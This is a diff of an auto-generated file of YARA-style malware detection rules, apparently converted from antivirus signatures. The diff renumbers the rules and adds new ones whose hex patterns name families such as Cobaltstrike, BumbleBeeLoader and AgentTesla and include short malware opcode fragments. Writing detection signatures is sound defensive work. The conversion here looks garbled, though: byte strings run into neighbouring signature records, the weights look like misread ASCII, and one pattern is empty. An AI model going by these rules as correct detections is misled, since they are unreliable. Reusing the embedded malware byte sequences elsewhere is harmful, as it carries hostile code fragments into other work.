"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -100956,7 +107398,7 @@ rule _InfrastructureShared_9395{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_9396{ +rule _InfrastructureShared_9985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -100967,7 +107409,7 @@ rule _InfrastructureShared_9396{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_9397{ +rule _InfrastructureShared_9986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -100978,18 +107420,29 @@ rule _InfrastructureShared_9397{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-8915) >=2 } -rule _InfrastructureShared_9398{ +rule _InfrastructureShared_9987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 72 69 63 74 6f 72 2e 4d 42 4a 4f 21 4d 54 42 00 01 00 2c 01 8b e4 74 ba 50 89 14 ab c6 a4 6f c8 8b 32 32 14 17 58 22 88 f9 27 06 fe 8e c0 a4 7e 08 83 03 8a 53 90 ae c0 24 82 2e 2d 5c 24 10 1d 01 00 2a } //18467 - $a_2f_1 = {76 22 4a 2e ff bd 15 18 68 22 cd 16 f7 80 21 59 19 6e 55 9e ba a6 d5 4b 50 e5 f6 32 f7 44 36 2b 1c 97 8e 11 36 dc 00 00 78 8c 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 54 72 75 65 73 69 67 68 74 73 79 73 2e 41 00 01 00 34 01 7d df ed 64 00 00 00 00 02 00 00 00 46 00 00 00 88 4a 00 00 88 3c 00 00 00 00 00 00 7d df ed 64 00 00 00 00 0d 00 00 00 b4 01 00 00 d0 4a 00 00 d0 3c 00 00 01 00 2d 01 45 3a 5c 41 } //25601 + $a_2f_1 = {76 22 4a 2e ff bd 15 18 68 22 cd 16 f7 80 21 59 19 6e 55 9e ba a6 d5 4b 50 e5 f6 32 f7 44 36 2b 1c 97 8e 11 36 dc 00 00 78 8c 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 50 59 21 4d 54 42 00 01 00 1d 03 8b c1 88 8c 0d 90 01 04 99 f7 fe 8a 04 3a 88 84 0d 90 01 04 41 81 f9 90 01 04 7c 90 00 01 00 38 03 0f be 8c 35 90 01 04 03 ca 81 e1 90 01 04 79 } //25601 condition: ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*25601) >=2 } -rule _InfrastructureShared_9399{ +rule _InfrastructureShared_9988{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 50 59 21 4d 54 42 00 01 00 1d 03 8b c1 88 8c 0d 90 01 04 99 f7 fe 8a 04 3a 88 84 0d 90 01 04 41 81 f9 90 01 04 7c 90 00 01 00 38 } //21539 + $a_8c_1 = {90 01 04 03 ca 81 e1 90 01 04 79 90 01 01 49 81 c9 90 01 04 41 8b 85 90 01 04 8b 95 90 01 04 0f b6 8c 0d 90 01 04 30 0c 10 40 89 85 90 01 04 3b c7 7c 90 00 00 00 78 8c 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 54 72 75 65 73 69 67 68 74 73 79 73 2e 41 00 01 00 34 01 7d df ed 64 00 00 00 00 02 00 00 00 46 00 00 00 88 4a 00 00 88 3c 00 00 00 00 00 00 7d df ed 64 00 00 00 00 0d 00 00 00 b4 01 00 00 d0 4a 00 00 d0 3c 00 00 01 00 2d 01 45 3a 5c 41 64 6c 69 63 65 5c 54 72 75 65 73 69 67 68 74 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 74 72 75 65 73 69 67 } //3843 + condition: + ((#a_4c_0 & 1)*21539+(#a_8c_1 & 1)*3843) >=2 + +} +rule _InfrastructureShared_9989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -100999,7 +107452,7 @@ rule _InfrastructureShared_9399{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_9400{ +rule _InfrastructureShared_9990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -101011,7 +107464,7 @@ rule _InfrastructureShared_9400{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*21828+(#a_2f_2 & 1)*13934) >=2 } -rule _InfrastructureShared_9401{ +rule _InfrastructureShared_9991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -101024,7 +107477,7 @@ rule _InfrastructureShared_9401{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*29557+(#a_61_2 & 1)*26989+(#a_77_3 & 1)*27756) >=2 } -rule _InfrastructureShared_9402{ +rule _InfrastructureShared_9992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -101035,7 +107488,7 @@ rule _InfrastructureShared_9402{ ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*28499) >=3 } -rule _InfrastructureShared_9403{ +rule _InfrastructureShared_9993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -101046,7 +107499,7 @@ rule _InfrastructureShared_9403{ ((#a_6c_0 & 1)*16675+(#a_01_1 & 1)*25955) >=3 } -rule _InfrastructureShared_9404{ +rule _InfrastructureShared_9994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -101057,7 +107510,7 @@ rule _InfrastructureShared_9404{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*108) >=3 } -rule _InfrastructureShared_9405{ +rule _InfrastructureShared_9995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -101069,7 +107522,7 @@ rule _InfrastructureShared_9405{ ((#a_54_0 & 1)*18467+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1) >=3 } -rule _InfrastructureShared_9406{ +rule _InfrastructureShared_9996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -101081,7 +107534,7 @@ rule _InfrastructureShared_9406{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-18175+(#a_00_2 & 1)*60) >=3 } -rule _InfrastructureShared_9407{ +rule _InfrastructureShared_9997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -101092,7 +107545,7 @@ rule _InfrastructureShared_9407{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*32) >=3 } -rule _InfrastructureShared_9408{ +rule _InfrastructureShared_9998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -101104,7 +107557,7 @@ rule _InfrastructureShared_9408{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*25133+(#a_53_2 & 1)*8993) >=3 } -rule _InfrastructureShared_9409{ +rule _InfrastructureShared_9999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -101116,7 +107569,7 @@ rule _InfrastructureShared_9409{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*28530+(#a_73_2 & 1)*25973) >=3 } -rule _InfrastructureShared_9410{ +rule _InfrastructureShared_10000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -101128,7 +107581,7 @@ rule _InfrastructureShared_9410{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*-32472+(#a_72_2 & 1)*29806) >=3 } -rule _InfrastructureShared_9411{ +rule _InfrastructureShared_10001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -101140,7 +107593,7 @@ rule _InfrastructureShared_9411{ ((#a_46_0 & 1)*21283+(#a_20_1 & 1)*17607+(#a_b9_2 & 1)*13056) >=3 } -rule _InfrastructureShared_9412{ +rule _InfrastructureShared_10002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -101153,32 +107606,44 @@ rule _InfrastructureShared_9412{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*384+(#a_50_2 & 1)*24938+(#a_61_3 & 1)*25720) >=3 } -rule _InfrastructureShared_9413{ +rule _InfrastructureShared_10003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 50 72 6f 78 79 3a 57 69 6e 33 32 2f 42 75 6e 69 74 75 2e 53 21 4d 54 42 00 01 00 27 02 8b ff 8b ca a3 90 01 04 33 c1 8b ff c7 05 90 01 08 8b ff 01 05 90 01 04 8b ff 8b 15 90 01 04 a1 90 01 04 89 02 90 00 01 00 } //16675 $a_72_1 = {72 33 65 72 79 32 61 6c 75 65 45 78 41 01 00 10 00 72 72 33 72 75 65 72 79 56 61 6c 75 65 45 78 41 01 00 08 00 78 64 76 61 70 69 33 32 00 00 78 8c 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 50 6f 74 75 6b 6f 72 70 2e 41 00 02 00 18 01 42 6c 61 63 6b 4d 6f 6f 6e 20 52 75 6e 54 69 6d 65 20 45 72 72 6f 72 3a 01 00 0a 01 41 59 41 67 65 6e 74 } //16 - $a_01_2 = {00 20 01 25 64 ca b1 25 64 b7 d6 00 00 00 00 25 64 ca b1 25 64 b7 d6 25 64 c3 eb 00 00 00 00 25 64 c4 ea 01 00 20 01 52 4f 4f 42 4b 51 33 42 4f 50 46 4c 4b 39 26 4b 51 42 4f 4b 42 51 fd 30 42 51 51 46 4b 44 50 39 00 00 78 8c 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 45 4b 21 53 6c 65 65 70 00 01 00 0e 03 68 f4 01 00 00 ff 15 90 01 02 } //24878 - $a_00_3 = {01 00 0e 03 68 2f 04 00 00 ff 15 90 01 02 48 00 90 00 01 00 0e 03 68 17 08 00 00 ff 15 90 01 02 48 00 90 00 01 00 0e 03 68 f5 08 00 00 ff 15 90 01 02 48 00 90 00 01 00 0e 03 68 16 65 01 00 ff 15 90 01 02 48 00 90 00 01 00 0e 03 68 5f b3 01 00 ff 15 90 01 02 48 00 90 00 00 00 78 8c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 54 4a 4b 34 38 00 01 00 2f 00 06 } //72 + $a_01_2 = {00 20 01 25 64 ca b1 25 64 b7 d6 00 00 00 00 25 64 ca b1 25 64 b7 d6 25 64 c3 eb 00 00 00 00 25 64 c4 ea 01 00 20 01 52 4f 4f 42 4b 51 33 42 4f 50 46 4c 4b 39 26 4b 51 42 4f 4b 42 51 fd 30 42 51 51 46 4b 44 50 39 00 00 78 8c 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 39 31 } //24878 condition: - ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*16+(#a_01_2 & 1)*24878+(#a_00_3 & 1)*72) >=3 + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*16+(#a_01_2 & 1)*24878) >=3 } -rule _InfrastructureShared_9414{ +rule _InfrastructureShared_10004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_54_0 = {3a 50 6f 74 75 6b 6f 72 70 2e 41 00 02 00 18 01 42 6c 61 63 6b 4d 6f 6f 6e 20 52 75 6e 54 69 6d 65 20 45 72 72 6f 72 3a 01 00 0a 01 41 59 41 67 65 6e 74 2e 61 79 01 00 20 01 25 64 ca b1 25 64 b7 d6 00 00 00 00 25 64 ca b1 25 64 b7 d6 25 64 c3 eb 00 } //18467 $a_00_2 = {20 } //-5436 - $a_4f_3 = {4b 51 33 42 4f 50 46 4c 4b 39 26 4b 51 42 4f 4b 42 51 fd 30 42 51 51 46 4b 44 50 39 00 00 78 8c 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 45 4b 21 53 6c 65 65 70 00 01 00 0e 03 68 f4 01 00 00 ff 15 90 01 02 48 } //20993 + $a_4f_3 = {4b 51 33 42 4f 50 46 4c 4b 39 26 4b 51 42 4f 4b 42 51 fd 30 42 51 51 46 4b 44 50 39 00 00 78 8c 00 00 03 00 03 00 05 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 39 31 00 } //20993 condition: ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*-5436+(#a_4f_3 & 1)*20993) >=3 } -rule _InfrastructureShared_9415{ +rule _InfrastructureShared_10005{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " + + strings : + $a_46_0 = {50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 4b 75 61 69 62 61 2e 4b 53 39 31 00 01 00 13 80 01 4b 38 4e 65 74 44 65 74 65 63 74 57 6e 64 45 76 65 6e 74 01 00 0b 80 01 4b 38 4e 65 74 44 65 74 65 63 74 01 00 0f } //16675 + $a_38_1 = {65 74 44 65 74 65 63 74 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 8c 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 4e 69 76 64 6f 72 74 2e 45 4b 21 } //384 + $a_65_2 = {00 01 00 0e 03 68 f4 01 00 00 ff 15 90 01 02 48 00 90 00 01 00 0e 03 68 2f 04 00 00 ff 15 90 01 02 48 00 90 00 01 00 0e 03 68 17 08 00 00 ff 15 90 01 02 48 00 90 00 01 00 0e 03 68 f5 08 00 00 ff 15 90 01 02 48 00 90 00 01 00 0e 03 68 16 65 01 00 ff 15 90 01 02 48 00 90 00 01 00 0e 03 68 5f b3 01 00 ff } //27731 + $a_02_3 = {48 } //-28651 H + condition: + ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*384+(#a_65_2 & 1)*27731+(#a_02_3 & 1)*-28651) >=3 + +} +rule _InfrastructureShared_10006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -101187,13 +107652,25 @@ rule _InfrastructureShared_9415{ $a_48_1 = {} //400 $a_03_2 = {68 16 65 01 00 ff 15 ?? ?? 48 00 } //1 $a_03_3 = {68 5f b3 01 00 ff 15 ?? ?? 48 00 } //1 - $a_8c_4 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 54 4a 4b 34 38 00 01 00 2f 00 06 18 5b 8d 79 00 00 01 0b 16 0c 2b 1a 00 07 08 18 5b 02 08 18 6f ad 00 00 0a 1f 10 28 ae 00 00 0a 9c 00 08 18 58 0c 08 06 fe 04 0d 09 2d de 01 00 05 81 01 6c 6d 2e 6f 51 01 00 0e 81 01 51 75 61 6e 4c 79 4e 68 61 6e } //0 - $a_6e_5 = {00 0a 81 01 47 65 74 4d 65 74 68 6f 64 73 00 00 78 8c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 4c 31 32 33 21 4d 54 42 00 01 00 0f 81 01 61 66 6c 79 74 6e 69 6e 67 73 61 66 66 72 65 01 00 0c 81 01 73 65 6c 76 62 79 67 67 65 72 6e 65 01 00 17 81 } //26966 + $a_8c_4 = {00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 42 65 65 4c 6f 61 64 65 72 2e 4e 49 42 21 4d 54 42 00 02 00 23 01 4c 89 c0 49 f7 e2 4c 89 c0 48 29 d0 48 d1 e8 48 01 d0 48 c1 e8 06 48 6b c0 7b 4c 89 c2 48 29 c2 48 89 c8 01 00 12 01 48 89 c8 49 f7 e2 48 89 c8 48 29 d0 48 d1 e8 48 01 d0 01 00 18 03 48 89 ca 48 c1 } //0 + $a_c1_5 = {2b 01 d1 69 c9 90 01 04 f7 d9 01 c1 90 00 00 00 78 8c 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 54 4a 4b 34 38 00 01 00 2f 00 06 18 5b 8d 79 } //16362 condition: - ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*400+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_8c_4 & 1)*0+(#a_6e_5 & 1)*26966) >=3 + ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*400+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_8c_4 & 1)*0+(#a_c1_5 & 1)*16362) >=3 } -rule _InfrastructureShared_9416{ +rule _InfrastructureShared_10007{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 75 6d 62 6c 65 42 65 65 4c 6f 61 64 65 72 2e 4e 49 42 21 4d 54 42 00 02 00 23 01 4c 89 c0 49 f7 e2 4c 89 c0 48 29 d0 48 d1 e8 48 01 d0 48 c1 e8 06 48 6b c0 7b 4c 89 c2 48 29 c2 48 89 c8 } //16675 + $a_01_1 = {48 89 c8 49 f7 e2 48 89 c8 48 29 d0 48 d1 e8 48 01 d0 } //1 + $a_03_2 = {48 89 ca 48 c1 ea 3f 48 c1 f9 2b 01 d1 69 c9 ?? ?? ?? ?? f7 d9 01 c1 } //1 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1) >=4 + +} +rule _InfrastructureShared_10008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -101206,7 +107683,7 @@ rule _InfrastructureShared_9416{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1280+(#a_6f_2 & 1)*25714+(#a_6f_3 & 1)*25964) >=4 } -rule _InfrastructureShared_9417{ +rule _InfrastructureShared_10009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -101219,7 +107696,7 @@ rule _InfrastructureShared_9417{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*29300+(#a_61_2 & 1)*25964+(#a_73_3 & 1)*24947) >=4 } -rule _InfrastructureShared_9418{ +rule _InfrastructureShared_10010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -101232,7 +107709,7 @@ rule _InfrastructureShared_9418{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*6912+(#a_70_2 & 1)*25710+(#a_64_3 & 1)*28528) >=4 } -rule _InfrastructureShared_9419{ +rule _InfrastructureShared_10011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -101245,7 +107722,7 @@ rule _InfrastructureShared_9419{ ((#a_54_0 & 1)*18467+(#a_79_1 & 1)*27745+(#a_75_2 & 1)*25441+(#a_53_3 & 1)*11890) >=4 } -rule _InfrastructureShared_9420{ +rule _InfrastructureShared_10012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -101258,7 +107735,7 @@ rule _InfrastructureShared_9420{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28526+(#a_65_2 & 1)*385+(#a_64_3 & 1)*17454) >=4 } -rule _InfrastructureShared_9421{ +rule _InfrastructureShared_10013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -101271,7 +107748,7 @@ rule _InfrastructureShared_9421{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*8307+(#a_20_2 & 1)*27713+(#a_65_3 & 1)*21295) >=4 } -rule _InfrastructureShared_9422{ +rule _InfrastructureShared_10014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -101285,7 +107762,7 @@ rule _InfrastructureShared_9422{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29555+(#a_74_2 & 1)*28161+(#a_08_3 & 1)*1795+(#a_63_4 & 1)*29285) >=4 } -rule _InfrastructureShared_9423{ +rule _InfrastructureShared_10015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -101295,7 +107772,7 @@ rule _InfrastructureShared_9423{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_9424{ +rule _InfrastructureShared_10016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -101306,7 +107783,7 @@ rule _InfrastructureShared_9424{ ((#a_54_0 & 1)*18467+(#a_33_2 & 1)*9217) >=5 } -rule _InfrastructureShared_9425{ +rule _InfrastructureShared_10017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -101319,7 +107796,7 @@ rule _InfrastructureShared_9425{ ((#a_77_0 & 1)*16675+(#a_2e_1 & 1)*28261+(#a_01_2 & 1)*8308+(#a_41_3 & 1)*19778) >=5 } -rule _InfrastructureShared_9426{ +rule _InfrastructureShared_10018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -101334,7 +107811,7 @@ rule _InfrastructureShared_9426{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*29295+(#a_64_2 & 1)*28265+(#a_00_3 & 1)*27756+(#a_6e_4 & 1)*27648+(#a_6e_5 & 1)*25461) >=5 } -rule _InfrastructureShared_9427{ +rule _InfrastructureShared_10019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -101350,7 +107827,7 @@ rule _InfrastructureShared_9427{ ((#a_5f_0 & 1)*16931+(#a_2e_1 & 1)*26465+(#a_70_2 & 1)*29283+(#a_41_3 & 1)*24940+(#a_74_4 & 1)*31090+(#a_01_5 & 1)*3840+(#a_6f_6 & 1)*14955) >=5 } -rule _InfrastructureShared_9428{ +rule _InfrastructureShared_10020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -101366,7 +107843,7 @@ rule _InfrastructureShared_9428{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1792+(#a_53_2 & 1)*29295+(#a_6f_3 & 1)*28233+(#a_80_4 & 1)*2+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1) >=5 } -rule _InfrastructureShared_9429{ +rule _InfrastructureShared_10021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -101381,7 +107858,7 @@ rule _InfrastructureShared_9429{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*385+(#a_6e_2 & 1)*22373+(#a_55_3 & 1)*8993+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=6 } -rule _InfrastructureShared_9430{ +rule _InfrastructureShared_10022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -101396,7 +107873,7 @@ rule _InfrastructureShared_9430{ ((#a_41_0 & 1)*20515+(#a_72_1 & 1)*29559+(#a_74_2 & 1)*29742+(#a_30_3 & 1)*12590+(#a_00_4 & 1)*9252+(#a_00_5 & 1)*26625) >=6 } -rule _InfrastructureShared_9431{ +rule _InfrastructureShared_10023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -101410,7 +107887,7 @@ rule _InfrastructureShared_9431{ ((#a_41_0 & 1)*20515+(#a_69_1 & 1)*28530+(#a_00_3 & 1)*9252+(#a_00_4 & 1)*26625+(#a_00_5 & 1)*26625) >=6 } -rule _InfrastructureShared_9432{ +rule _InfrastructureShared_10024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -101426,7 +107903,7 @@ rule _InfrastructureShared_9432{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*9219+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720+(#a_00_7 & 1)*30720) >=6 } -rule _InfrastructureShared_9433{ +rule _InfrastructureShared_10025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -101440,7 +107917,7 @@ rule _InfrastructureShared_9433{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*26481+(#a_00_3 & 1)*400+(#a_00_6 & 1)*0+(#a_48_7 & 1)*8448) >=8 } -rule _InfrastructureShared_9434{ +rule _InfrastructureShared_10026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -101450,7 +107927,7 @@ rule _InfrastructureShared_9434{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_9435{ +rule _InfrastructureShared_10027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -101460,7 +107937,7 @@ rule _InfrastructureShared_9435{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_9436{ +rule _InfrastructureShared_10028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -101470,7 +107947,7 @@ rule _InfrastructureShared_9436{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_9437{ +rule _InfrastructureShared_10029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -101480,7 +107957,7 @@ rule _InfrastructureShared_9437{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_9438{ +rule _InfrastructureShared_10030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -101491,7 +107968,7 @@ rule _InfrastructureShared_9438{ ((#a_54_0 & 1)*18467+(#a_2a_1 & 1)*4357) >=12 } -rule _InfrastructureShared_9439{ +rule _InfrastructureShared_10031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -101503,7 +107980,7 @@ rule _InfrastructureShared_9439{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12850+(#a_36_2 & 1)*9217) >=12 } -rule _InfrastructureShared_9440{ +rule _InfrastructureShared_10032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -101516,7 +107993,7 @@ rule _InfrastructureShared_9440{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3584+(#a_79_2 & 1)*28483+(#a_11_3 & 1)*5018) >=13 } -rule _InfrastructureShared_9441{ +rule _InfrastructureShared_10033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -101525,12 +108002,12 @@ rule _InfrastructureShared_9441{ $a_65_1 = {74 56 61 6c 75 65 01 00 0e 00 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 05 00 00 57 53 53 00 01 00 08 00 00 58 58 58 58 58 58 00 00 00 78 8c 00 00 14 00 14 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 45 4f 21 4d 54 42 00 0a 00 1f 02 09 11 04 9a 13 05 11 05 } //25167 $a_03_2 = {0a } //-28632 $a_73_4 = {59 28 90 01 03 0a b7 90 00 0a 00 38 03 25 16 19 8d 90 01 03 01 25 16 7e 90 01 03 04 a2 25 17 7e 90 01 03 04 a2 25 18 72 90 01 03 70 a2 a2 a2 14 14 14 17 28 90 01 03 0a 26 20 00 08 00 00 0a 2b 00 06 2a 90 00 00 00 78 8c 00 00 14 00 14 00 03 00 21 